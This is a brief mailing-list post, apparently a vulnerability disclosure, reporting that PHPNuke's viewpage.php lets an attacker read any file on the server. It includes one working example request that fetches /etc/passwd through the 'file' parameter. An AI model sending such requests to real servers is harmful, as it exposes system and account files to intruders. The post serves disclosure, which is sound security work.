PHPNuke viewpage.php allows Remote File retrieving

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 




viewpage.php is a part of PHPNuke.
The Script allows an attacker to view all files on the System.

Example:

http://server.com/viewpage.php?file=/etc/passwd


Zero X member of www.Lobnan.de

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux